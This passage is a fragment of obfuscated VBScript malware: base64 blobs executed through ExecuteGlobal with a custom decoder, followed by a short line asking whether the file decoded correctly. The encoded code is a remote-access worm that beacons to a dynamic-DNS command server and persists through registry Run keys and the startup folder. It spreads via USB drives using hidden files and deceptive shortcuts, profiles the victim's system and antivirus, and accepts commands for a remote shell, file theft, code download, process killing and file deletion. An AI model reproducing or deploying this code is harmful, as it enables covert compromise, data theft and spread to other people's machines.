qc3RyZWFtdXBsb2FkZSxidWZmZXINCnNldCAgb2Jqc3RyZWFtdXBsb2FkZSA9IGNyZWF0ZW9iamVjdCgiYWRvZGIuc3RyZWFtIikNCndpdGggb2Jqc3RyZWFtdXBsb2FkZSANCiAgICAgLnR5cGUgPSAxIA0KICAgICAub3Blbg0KCSAubG9hZGZyb21maWxlIGZpbGV1cmwNCgkgYnVmZmVyID0gLnJlYWQNCgkgLmNsb3NlDQplbmQgd2l0aA0Kc2V0IG9ianN0cmVhbWRvd25sb2FkID0gbm90aGluZw0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCmh0dHBvYmoub3BlbiAicG9zdCIsImh0dHA6Ly8iICYgaG9zdCAmICI6IiAmIHBvcnQgJiIvIiAmICJpcy1yZWN2aW5nIiAmIHNwbGl0ZXIgJiBmaWxldXJsLCBmYWxzZQ0KaHR0cG9iai5zZW5kIGJ1ZmZlcg0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtZHJpdmVyICgpDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICAgZHJpdmUuaXNyZWFkeSA9IHRydWUgdGhlbg0KICAgICBlbnVtZHJpdmVyID0gZW51bWRyaXZlciAmIGRyaXZlLnBhdGggJiAifCIgJiBkcml2ZS5kcml2ZXR5cGUgJiBzcGxpdGVyDQplbmQgaWYNCm5leHQNCmVuZCBGdW5jdGlvbg0KZnVuY3Rpb24gZW51bWZhZiAoZW51bWRpcikNCmVudW1mYWYgPSBlbnVtZGlyICYgc3BsaXRlcg0KZm9yICBlYWNoIGZvbGRlciBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoZW51bWRpcikuc3ViZm9sZGVycw0KICAgICBlbnVtZmFmID0gZW51bWZhZiAmIGZvbGRlci5uYW1lICYgInwiICYgIiIgJiAifCIgJiAiZCIgJiAifCIgJiBmb2xkZXIuYXR0cmlidXRlcyAmIHNwbGl0ZXINCm5leHQNCg0KZm9yICBlYWNoIGZpbGUgaW4gZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIgKGVudW1kaXIpLmZpbGVzDQogICAgIGVudW1mYWYgPSBlbnVtZmFmICYgZmlsZS5uYW1lICYgInwiICYgZmlsZS5zaXplICAmICJ8IiAmICJmIiAmICJ8IiAmIGZpbGUuYXR0cmlidXRlcyAmIHNwbGl0ZXINCg0KbmV4dA0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBlbnVtcHJvY2VzcyAoKQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCBvYmp3bWlzZXJ2aWNlID0gZ2V0b2JqZWN0KCJ3aW5tZ210czpcXC5ccm9vdFxjaW12MiIpDQpzZXQgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLmV4ZWNxdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9wcm9jZXNzIiwsNDgpDQpkaW0gb2JqaXRlbQ0KZm9yIGVhY2ggb2JqaXRlbSBpbiBjb2xpdGVtcw0KCWVudW1wcm9jZXNzID0gZW51bXByb2Nlc3MgJiBvYmppdGVtLm5hbWUgJiAifCINCgllbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5wcm9jZXNzaWQgJiAifCINCiAgICBlbnVtcHJvY2VzcyA9IGVudW1wcm9jZXNzICYgb2JqaXRlbS5leGVjdXRhYmxlcGF0aCAmIHNwbGl0ZXINCm5leHQNCmVuZCBmdW5jdGlvbg0Kc3ViIGV4aXRwcm9jZXNzIChwaWQpDQpvbiBlcnJvciByZXN1bWUgbmV4dA0Kc2hlbGxvYmoucnVuICJ0YXNra2lsbCAvRiAvVCAvUElEICIgJiBwaWQsNyx0cnVlDQplbmQgc3ViDQpzdWIgZGVsZXRlZmFmICh1cmwpDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIHVybA0KZmlsZXN5c3RlbW9iai5kZWxldGVmb2xkZXIgdXJsDQplbmQgc3ViDQpmdW5jdGlvbiBjbWRzaGVsbCAoY21kKQ0KZGltIGh0dHBvYmosb2V4ZWMscmVhZGFsbGZyb21hbnkNCnNldCBvZXhlYyA9IHNoZWxsb2JqLmV4ZWMgKCIlY29tc3BlYyUgL2MgIiAmIGNtZCkNCmlmIG5vdCBvZXhlYy5zdGRvdXQuYXRlbmRvZnN0cmVhbSB0aGVuDQogICByZWFkYWxsZnJvbWFueSA9IG9leGVjLnN0ZG91dC5yZWFkYWxsDQplbHNlaWYgbm90IG9leGVjLnN0ZGVyci5hdGVuZG9mc3RyZWFtIHRoZW4NCiAgIHJlYWRhbGxmcm9tYW55ID0gb2V4ZWMuc3RkZXJyLnJlYWRhbGwNCmVsc2UgDQogICByZWFkYWxsZnJvbWFueSA9ICIiDQplbmQgaWYNCmNtZHNoZWxsID0gcmVhZGFsbGZyb21hbnkNCmVuZCBmdW5jdGlvbg==") 
EXECUTEglobal (tyty) 
function tytyy(data) 
     tytyy=tytyyy(data) 
end function 
Function tytyyy(ByVal yutString) 
     Const yut = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" 
     Dim dataLength, sOut, groupBegin 
     yutString = Replace(yutString, vbCrLf, "") 
     yutString = Replace(yutString, vbTab, "") 
     yutString = Replace(yutString, " ", "") 
     dataLength = Len(yutString) 
     If dataLength Mod 4 <> 0 Then 
          Err.Raise 1, "yutDecode", "Bad yut string." 
          Exit Function 
     End If 
     For groupBegin = 1 To dataLength Step 4 
          Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut 
          numDataBytes = 3 
          nGroup = 0 
           
          For CharCounter = 0 To 3 
               thisChar = Mid(yutString, groupBegin + CharCounter, 1) 
                
               If thisChar = "=" Then 
                    numDataBytes = numDataBytes - 1 
                    thisData = 0 
               Else 
                    thisData = InStr(1, yut, thisChar, vbBinaryCompare) - 1 
               End If 
      
               If thisData = -1 Then 
                    Err.Raise 2, "yutDecode", "Bad character In yut string." 
                    Exit Function 
               End If 
                
               nGroup = 64 * nGroup + thisData 
          Next 
          nGroup = Hex(nGroup) 
          nGroup = String(6 - Len(nGroup), "0") & nGroup 
          pOut =      Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ 
                    Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ 
                    Chr(CByte("&H" & Mid(nGroup, 5, 2))) 
          sOut = sOut & Left(pOut, numDataBytes) 
     Next 
     tytyyy = sOut 
End Function ?>

Did this file decode correctly?

Original Code

tyty = tytyy("aG9zdCA9ICJuam5qLnJlZGlyZWN0bWUubmV0Ig0KcG9ydCA9IDEyMw0KaW5zdGFsbGRpciA9ICIldGVtcCUiDQpsbmtmaWxlID0gdHJ1ZQ0KbG5rZm9sZGVyID0gdHJ1ZQ0KZGltIHNoZWxsb2JqIA0Kc2V0IHNoZWxsb2JqID0gd3NjcmlwdC5jcmVhdGVvYmplY3QoIndzY3JpcHQuc2hlbGwiKQ0KZGltIGZpbGVzeXN0ZW1vYmoNCnNldCBmaWxlc3lzdGVtb2JqID0gY3JlYXRlb2JqZWN0KCJzY3JpcHRpbmcuZmlsZXN5c3RlbW9iamVjdCIpDQpkaW0gaHR0cG9iag0Kc2V0IGh0dHBvYmogPSBjcmVhdGVvYmplY3QoIm1zeG1sMi54bWxodHRwIikNCmluc3RhbGxuYW1lID0gd3NjcmlwdC5zY3JpcHRuYW1lDQppbnN0YWxsZGlyID0gc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKGluc3RhbGxkaXIpICYgIlwiDQppZiBub3QgZmlsZXN5c3RlbW9iai5mb2xkZXJleGlzdHMoaW5zdGFsbGRpcikgdGhlbiAgaW5zdGFsbGRpciA9IHNoZWxsb2JqLmV4cGFuZGVudmlyb25tZW50c3RyaW5ncygiJXRlbXAlIikgJiAiXCINCnNwbGl0ZXIgPSAiPHw+Ig0Kc2xlZXAgPSA1MDAwIA0KZGltIHJlc3BvbnNlDQpkaW0gY21kDQpkaW0gcGFyYW0NCmluZm8gPSAiIg0KdXNic3ByZWFkaW5nID0gIiINCnN0YXJ0ZGF0ZSA9ICIiDQpkaW0gb25lb25jZQ0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCmluc3RhbmNlDQp3aGlsZSB0cnVlDQppbnN0YWxsDQpyZXNwb25zZSA9ICIiDQpyZXNwb25zZSA9IHBvc3QgKCJpcy1yZWFkeSIsIiIpDQpjbWQgPSBzcGxpdCAocmVzcG9uc2Usc3BsaXRlcikNCnNlbGVjdCBjYXNlIGNtZCAoMCkNCmNhc2UgImV4Y2VjdXRlIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBleGVjdXRlIHBhcmFtDQpjYXNlICJ1cGRhdGUiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIG9uZW9uY2UuY2xvc2UNCiAgICAgIHNldCBvbmVvbmNlID0gIGZpbGVzeXN0ZW1vYmoub3BlbnRleHRmaWxlIChpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgLDIsIGZhbHNlKQ0KICAgICAgb25lb25jZS53cml0ZSBwYXJhbQ0KICAgICAgb25lb25jZS5jbG9zZQ0KICAgICAgc2hlbGxvYmoucnVuICJ3c2NyaXB0LmV4ZSAvL0IgIiAmIGNocigzNCkgJiBpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUgJiBjaHIoMzQpDQogICAgICB3c2NyaXB0LnF1aXQgDQpjYXNlICJ1bmluc3RhbGwiDQogICAgICB1bmluc3RhbGwNCmNhc2UgInNlbmQiDQogICAgICBkb3dubG9hZCBjbWQgKDEpLGNtZCAoMikNCmNhc2UgInNpdGUtc2VuZCINCiAgICAgIHNpdGVkb3dubG9hZGVyIGNtZCAoMSksY21kICgyKQ0KY2FzZSAicmVjdiINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgdXBsb2FkIChwYXJhbSkNCmNhc2UgICJlbnVtLWRyaXZlciINCiAgICAgIHBvc3QgImlzLWVudW0tZHJpdmVyIixlbnVtZHJpdmVyICANCmNhc2UgICJlbnVtLWZhZiINCiAgICAgIHBhcmFtID0gY21kICgxKQ0KICAgICAgcG9zdCAiaXMtZW51bS1mYWYiLGVudW1mYWYgKHBhcmFtKQ0KY2FzZSAgImVudW0tcHJvY2VzcyINCiAgICAgIHBvc3QgImlzLWVudW0tcHJvY2VzcyIsZW51bXByb2Nlc3MgICANCmNhc2UgICJjbWQtc2hlbGwiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIHBvc3QgImlzLWNtZC1zaGVsbCIsY21kc2hlbGwgKHBhcmFtKSAgDQpjYXNlICAiZGVsZXRlIg0KICAgICAgcGFyYW0gPSBjbWQgKDEpDQogICAgICBkZWxldGVmYWYgKHBhcmFtKSANCmNhc2UgICJleGl0LXByb2Nlc3MiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIGV4aXRwcm9jZXNzIChwYXJhbSkgDQpjYXNlICAic2xlZXAiDQogICAgICBwYXJhbSA9IGNtZCAoMSkNCiAgICAgIHNsZWVwID0gZXZhbCAocGFyYW0pICAgICAgICANCmVuZCBzZWxlY3QNCndzY3JpcHQuc2xlZXAgc2xlZXANCndlbmQNCnN1YiBpbnN0YWxsDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KZGltIGxua29iag0KZGltIGZpbGVuYW1lDQpkaW0gZm9sZGVybmFtZQ0KZGltIGZpbGVpY29uDQpkaW0gZm9sZGVyaWNvbg0KdXBzdGFydA0KZm9yIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZiAgZHJpdmUuZnJlZXNwYWNlICA+IDAgdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZSAgPSAxIHRoZW4NCiAgICBmaWxlc3lzdGVtb2JqLmNvcHlmaWxlIHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUgLCBkcml2ZS5wYXRoICYgIlwiICYgaW5zdGFsbG5hbWUsdHJ1ZQ0KICAgIGlmICBmaWxlc3lzdGVtb2JqLmZpbGVleGlzdHMgKGRyaXZlLnBhdGggJiAiXCIgJiBpbnN0YWxsbmFtZSkgIHRoZW4NCiAgICAgICAgZmlsZXN5c3RlbW9iai5nZXRmaWxlKGRyaXZlLnBhdGggJiAiXCIgICYgaW5zdGFsbG5hbWUpLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICBlbmQgaWYNCiAgICBmb3IgZWFjaCBmaWxlIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuRmlsZXMNCiAgICAgICAgaWYgbm90IGxua2ZpbGUgdGhlbiBleGl0IGZvcg0KICAgICAgICBpZiAgaW5zdHIgKGZpbGUubmFtZSwiLiIpIHRoZW4NCiAgICAgICAgICAgIGlmICBsY2FzZSAoc3BsaXQoZmlsZS5uYW1lLCAiLiIpICh1Ym91bmQoc3BsaXQoZmlsZS5uYW1lLCAiLiIpKSkpIDw+ICJsbmsiIHRoZW4NCiAgICAgICAgICAgICAgICBmaWxlLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICAgICAgICAgICAgICBpZiAgdWNhc2UgKGZpbGUubmFtZSkgPD4gdWNhc2UgKGluc3RhbGxuYW1lKSB0aGVuDQogICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lID0gc3BsaXQoZmlsZS5uYW1lLCIuIikNCiAgICAgICAgICAgICAgICAgICAgc2V0IGxua29iaiA9IHNoZWxsb2JqLmNyZWF0ZXNob3J0Y3V0IChkcml2ZS5wYXRoICYgIlwiICAmIGZpbGVuYW1lICgwKSAmICIubG5rIikgDQogICAgICAgICAgICAgICAgICAgIGxua29iai53aW5kb3dzdHlsZSA9IDcNCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLnRhcmdldHBhdGggPSAiY21kLmV4ZSINCiAgICAgICAgICAgICAgICAgICAgbG5rb2JqLndvcmtpbmdkaXJlY3RvcnkgPSAiIg0KICAgICAgICAgICAgICAgICAgICBsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgJiByZXBsYWNlKGluc3RhbGxuYW1lLCIgIiwgY2hydygzNCkgJiAiICIgJiBjaHJ3KDM0KSkgJiAiJnN0YXJ0ICIgJiByZXBsYWNlKGZpbGUubmFtZSwiICIsIGNocncoMzQpICYgIiAiICYgY2hydygzNCkpICYiJmV4aXQiDQogICAgICAgICAgICAgICAgICAgIGZpbGVpY29uID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXCIgJiBzaGVsbG9iai5yZWdyZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXGNsYXNzZXNcLiIgJiBzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpJiAiXCIpICYgIlxkZWZhdWx0aWNvblwiKSANCiAgICAgICAgICAgICAgICAgICAgaWYgIGluc3RyIChmaWxlaWNvbiwiLCIpID0gMCB0aGVuDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZS5wYXRoDQogICAgICAgICAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAgICBsbmtvYmouaWNvbmxvY2F0aW9uID0gZmlsZWljb24NCiAgICAgICAgICAgICAgICAgICAgZW5kIGlmDQogICAgICAgICAgICAgICAgICAgIGxua29iai5zYXZlKCkNCiAgICAgICAgICAgICAgICBlbmQgaWYNCiAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICBlbmQgaWYNCiAgICBuZXh0DQogICAgZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KICAgICAgICBpZiBub3QgbG5rZm9sZGVyIHRoZW4gZXhpdCBmb3INCiAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAyKzQNCiAgICAgICAgZm9sZGVybmFtZSA9IGZvbGRlci5uYW1lDQogICAgICAgIHNldCBsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVzaG9ydGN1dCAoZHJpdmUucGF0aCAmICJcIiAgJiBmb2xkZXJuYW1lICYgIi5sbmsiKSANCiAgICAgICAgbG5rb2JqLndpbmRvd3N0eWxlID0gNw0KICAgICAgICBsbmtvYmoudGFyZ2V0cGF0aCA9ICJjbWQuZXhlIg0KICAgICAgICBsbmtvYmoud29ya2luZ2RpcmVjdG9yeSA9ICIiDQogICAgICAgIGxua29iai5hcmd1bWVudHMgPSAiL2Mgc3RhcnQgIiAmIHJlcGxhY2UoaW5zdGFsbG5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmICImc3RhcnQgZXhwbG9yZXIgIiAmIHJlcGxhY2UoZm9sZGVyLm5hbWUsIiAiLCBjaHJ3KDM0KSAmICIgIiAmIGNocncoMzQpKSAmIiZleGl0Ig0KICAgICAgICBmb2xkZXJpY29uID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVxjbGFzc2VzXGZvbGRlclxkZWZhdWx0aWNvblwiKSANCiAgICAgICAgaWYgIGluc3RyIChmb2xkZXJpY29uLCIsIikgPSAwIHRoZW4NCiAgICAgICAgICAgIGxua29iai5pY29ubG9jYXRpb24gPSBmb2xkZXIucGF0aA0KICAgICAgICBlbHNlIA0KICAgICAgICAgICAgbG5rb2JqLmljb25sb2NhdGlvbiA9IGZvbGRlcmljb24NCiAgICAgICAgZW5kIGlmDQogICAgICAgIGxua29iai5zYXZlKCkNCiAgICBuZXh0DQplbmQgSWYNCmVuZCBJZg0KZW5kIGlmDQpuZXh0DQplcnIuY2xlYXINCmVuZCBzdWINCnN1YiB1bmluc3RhbGwNCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpkaW0gZmlsZW5hbWUNCmRpbSBmb2xkZXJuYW1lDQpzaGVsbG9iai5yZWdkZWxldGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCnNoZWxsb2JqLnJlZ2RlbGV0ZSAiSEtFWV9MT0NBTF9NQUNISU5FXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSBzdGFydHVwICYgaW5zdGFsbG5hbWUgLHRydWUNCmZpbGVzeXN0ZW1vYmouZGVsZXRlZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lICx0cnVlDQpmb3IgIGVhY2ggZHJpdmUgaW4gZmlsZXN5c3RlbW9iai5kcml2ZXMNCmlmICBkcml2ZS5pc3JlYWR5ID0gdHJ1ZSB0aGVuDQppZiAgZHJpdmUuZnJlZXNwYWNlICA+IDAgdGhlbg0KaWYgIGRyaXZlLmRyaXZldHlwZSAgPSAxIHRoZW4NCiAgICBmb3IgIGVhY2ggZmlsZSBpbiBmaWxlc3lzdGVtb2JqLmdldGZvbGRlciAoIGRyaXZlLnBhdGggJiAiXCIpLmZpbGVzDQogICAgICAgICBvbiBlcnJvciByZXN1bWUgbmV4dA0KICAgICAgICAgaWYgIGluc3RyIChmaWxlLm5hbWUsIi4iKSB0aGVuDQogICAgICAgICAgICAgaWYgIGxjYXNlIChzcGxpdChmaWxlLm5hbWUsICIuIikodWJvdW5kKHNwbGl0KGZpbGUubmFtZSwgIi4iKSkpKSA8PiAibG5rIiB0aGVuDQogICAgICAgICAgICAgICAgIGZpbGUuYXR0cmlidXRlcyA9IDANCiAgICAgICAgICAgICAgICAgaWYgIHVjYXNlIChmaWxlLm5hbWUpIDw+IHVjYXNlIChpbnN0YWxsbmFtZSkgdGhlbg0KICAgICAgICAgICAgICAgICAgICAgZmlsZW5hbWUgPSBzcGxpdChmaWxlLm5hbWUsIi4iKQ0KICAgICAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChkcml2ZS5wYXRoICYgIlwiICYgZmlsZW5hbWUoMCkgJiAiLmxuayIgKQ0KICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICBmaWxlc3lzdGVtb2JqLmRlbGV0ZWZpbGUgKGRyaXZlLnBhdGggJiAiXCIgJiBmaWxlLm5hbWUpDQogICAgICAgICAgICAgICAgIGVuZCBJZg0KICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgZmlsZXN5c3RlbW9iai5kZWxldGVmaWxlIChmaWxlLnBhdGgpIA0KICAgICAgICAgICAgIGVuZCBpZg0KICAgICAgICAgZW5kIGlmDQogICAgIG5leHQNCiAgICAgZm9yIGVhY2ggZm9sZGVyIGluIGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKCBkcml2ZS5wYXRoICYgIlwiICkuc3ViZm9sZGVycw0KICAgICAgICAgZm9sZGVyLmF0dHJpYnV0ZXMgPSAwDQogICAgIG5leHQNCmVuZCBpZg0KZW5kIGlmDQplbmQgaWYNCm5leHQNCndzY3JpcHQucXVpdA0KZW5kIHN1Yg0KZnVuY3Rpb24gcG9zdCAoY21kICxwYXJhbSkNCnBvc3QgPSBwYXJhbQ0KaHR0cG9iai5vcGVuICJwb3N0IiwiaHR0cDovLyIgJiBob3N0ICYgIjoiICYgcG9ydCAmIi8iICYgY21kLCBmYWxzZQ0KaHR0cG9iai5zZXRyZXF1ZXN0aGVhZGVyICJ1c2VyLWFnZW50OiIsaW5mb3JtYXRpb24NCmh0dHBvYmouc2VuZCBwYXJhbQ0KcG9zdCA9IGh0dHBvYmoucmVzcG9uc2V0ZXh0DQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIGluZm9ybWF0aW9uDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KaWYgIGluZiA9ICIiIHRoZW4NCiAgICBpbmYgPSBod2lkICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIlY29tcHV0ZXJuYW1lJSIpICYgc3BsaXRlciANCiAgICBpbmYgPSBpbmYgICYgc2hlbGxvYmouZXhwYW5kZW52aXJvbm1lbnRzdHJpbmdzKCIldXNlcm5hbWUlIikgJiBzcGxpdGVyDQoNCiAgICBzZXQgcm9vdCA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0KICAgIHNldCBvcyA9IHJvb3QuZXhlY3F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iKQ0KICAgIGZvciBlYWNoIG9zaW5mbyBpbiBvcw0KICAgICAgIGluZiA9IGluZiAmIG9zaW5mby5jYXB0aW9uICYgc3BsaXRlciAgDQogICAgICAgZXhpdCBmb3INCiAgICBuZXh0DQogICAgaW5mID0gaW5mICYgInBsdXMiICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHNlY3VyaXR5ICYgc3BsaXRlcg0KICAgIGluZiA9IGluZiAmIHVzYnNwcmVhZGluZw0KICAgIGluZm9ybWF0aW9uID0gaW5mICANCmVsc2UNCiAgICBpbmZvcm1hdGlvbiA9IGluZg0KZW5kIGlmDQplbmQgZnVuY3Rpb24NCnN1YiB1cHN0YXJ0ICgpDQpvbiBlcnJvciByZXN1bWUgTmV4dA0Kc2hlbGxvYmoucmVnd3JpdGUgIkhLRVlfQ1VSUkVOVF9VU0VSXHNvZnR3YXJlXG1pY3Jvc29mdFx3aW5kb3dzXGN1cnJlbnR2ZXJzaW9uXHJ1blwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCksICAid3NjcmlwdC5leGUgLy9CICIgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCnNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcbWljcm9zb2Z0XHdpbmRvd3NcY3VycmVudHZlcnNpb25ccnVuXCIgJiBzcGxpdCAoaW5zdGFsbG5hbWUsIi4iKSgwKSwgICJ3c2NyaXB0LmV4ZSAvL0IgIiAgJiBjaHJ3KDM0KSAmIGluc3RhbGxkaXIgJiBpbnN0YWxsbmFtZSAmIGNocncoMzQpICwgIlJFR19TWiINCmZpbGVzeXN0ZW1vYmouY29weWZpbGUgd3NjcmlwdC5zY3JpcHRmdWxsbmFtZSxpbnN0YWxsZGlyICYgaW5zdGFsbG5hbWUsdHJ1ZQ0KZmlsZXN5c3RlbW9iai5jb3B5ZmlsZSB3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLHN0YXJ0dXAgJiBpbnN0YWxsbmFtZSAsdHJ1ZQ0KZW5kIHN1Yg0KZnVuY3Rpb24gaHdpZA0Kb24gZXJyb3IgcmVzdW1lIG5leHQNCnNldCByb290ID0gZ2V0b2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbmxldmVsPWltcGVyc29uYXRlfSFcXC5ccm9vdFxjaW12MiIpDQpzZXQgZGlza3MgPSByb290LmV4ZWNxdWVyeSAoInNlbGVjdCAqIGZyb20gd2luMzJfbG9naWNhbGRpc2siKQ0KZm9yIGVhY2ggZGlzayBpbiBkaXNrcw0KICAgIGlmICBkaXNrLnZvbHVtZXNlcmlhbG51bWJlciA8PiAiIiB0aGVuDQogICAgICAgIGh3aWQgPSBkaXNrLnZvbHVtZXNlcmlhbG51bWJlcg0KICAgICAgICBleGl0IGZvcg0KICAgIGVuZCBpZg0KbmV4dA0KZW5kIGZ1bmN0aW9uDQpmdW5jdGlvbiBzZWN1cml0eSANCm9uIGVycm9yIHJlc3VtZSBuZXh0DQpzZWN1cml0eSA9ICIiDQpzZXQgb2Jqd21pc2VydmljZSA9IGdldG9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFwuXHJvb3RcY2ltdjIiKQ0Kc2V0IGNvbGl0ZW1zID0gb2Jqd21pc2VydmljZS5leGVjcXVlcnkoInNlbGVjdCAqIGZyb20gd2luMzJfb3BlcmF0aW5nc3lzdGVtIiwsNDgpDQpmb3IgZWFjaCBvYmppdGVtIGluIGNvbGl0ZW1zDQogICAgdmVyc2lvbnN0ciA9IHNwbGl0IChvYmppdGVtLnZlcnNpb24sIi4iKQ0KbmV4dA0KdmVyc2lvbnN0ciA9IHNwbGl0IChjb2xpdGVtcy52ZXJzaW9uLCIuIikNCm9zdmVyc2lvbiA9IHZlcnNpb25zdHIgKDApICYgIi4iDQpmb3IgIHggPSAxIHRvIHVib3VuZCAodmVyc2lvbnN0cikNCgkgb3N2ZXJzaW9uID0gb3N2ZXJzaW9uICYgIHZlcnNpb25zdHIgKGkpDQpuZXh0DQpvc3ZlcnNpb24gPSBldmFsIChvc3ZlcnNpb24pDQppZiAgb3N2ZXJzaW9uID4gNiB0aGVuIHNjID0gInNlY3VyaXR5Y2VudGVyMiIgZWxzZSBzYyA9ICJzZWN1cml0eWNlbnRlciINCnNldCBvYmpzZWN1cml0eWNlbnRlciA9IGdldG9iamVjdCgid2lubWdtdHM6XFxsb2NhbGhvc3Rccm9vdFwiICYgc2MpDQpTZXQgY29sYW50aXZpcnVzID0gb2Jqc2VjdXJpdHljZW50ZXIuZXhlY3F1ZXJ5KCJzZWxlY3QgKiBmcm9tIGFudGl2aXJ1c3Byb2R1Y3QiLCJ3cWwiLDApDQoNCmZvciBlYWNoIG9iamFudGl2aXJ1cyBpbiBjb2xhbnRpdmlydXMNCiAgICBzZWN1cml0eSAgPSBzZWN1cml0eSAgJiBvYmphbnRpdmlydXMuZGlzcGxheW5hbWUgJiAiIC4iDQpuZXh0DQppZiBzZWN1cml0eSAgPSAiIiB0aGVuIHNlY3VyaXR5ICA9ICJuYW4tYXYiDQplbmQgZnVuY3Rpb24NCmZ1bmN0aW9uIGluc3RhbmNlDQpvbiBlcnJvciByZXN1bWUgbmV4dA0KdXNic3ByZWFkaW5nID0gc2hlbGxvYmoucmVncmVhZCAoIkhLRVlfTE9DQUxfTUFDSElORVxzb2Z0d2FyZVwiICYgc3BsaXQgKGluc3RhbGxuYW1lLCIuIikoMCkgJiAiXCIpDQppZiB1c2JzcHJlYWRpbmcgPSAiIiB0aGVuDQogICBpZiBsY2FzZSAoIG1pZCh3c2NyaXB0LnNjcmlwdGZ1bGxuYW1lLDIpKSA9ICI6XCIgJiAgbGNhc2UoaW5zdGFsbG5hbWUpIHRoZW4NCiAgICAgIHVzYnNwcmVhZGluZyA9ICJ0cnVlIC0gIiAmIGRhdGUNCiAgICAgIHNoZWxsb2JqLnJlZ3dyaXRlICJIS0VZX0xPQ0FMX01BQ0hJTkVcc29mdHdhcmVcIiAmIHNwbGl0IChpbnN0YWxsbmFtZSwiLiIpKDApICAmICJcIiwgIHVzYnNwcmVh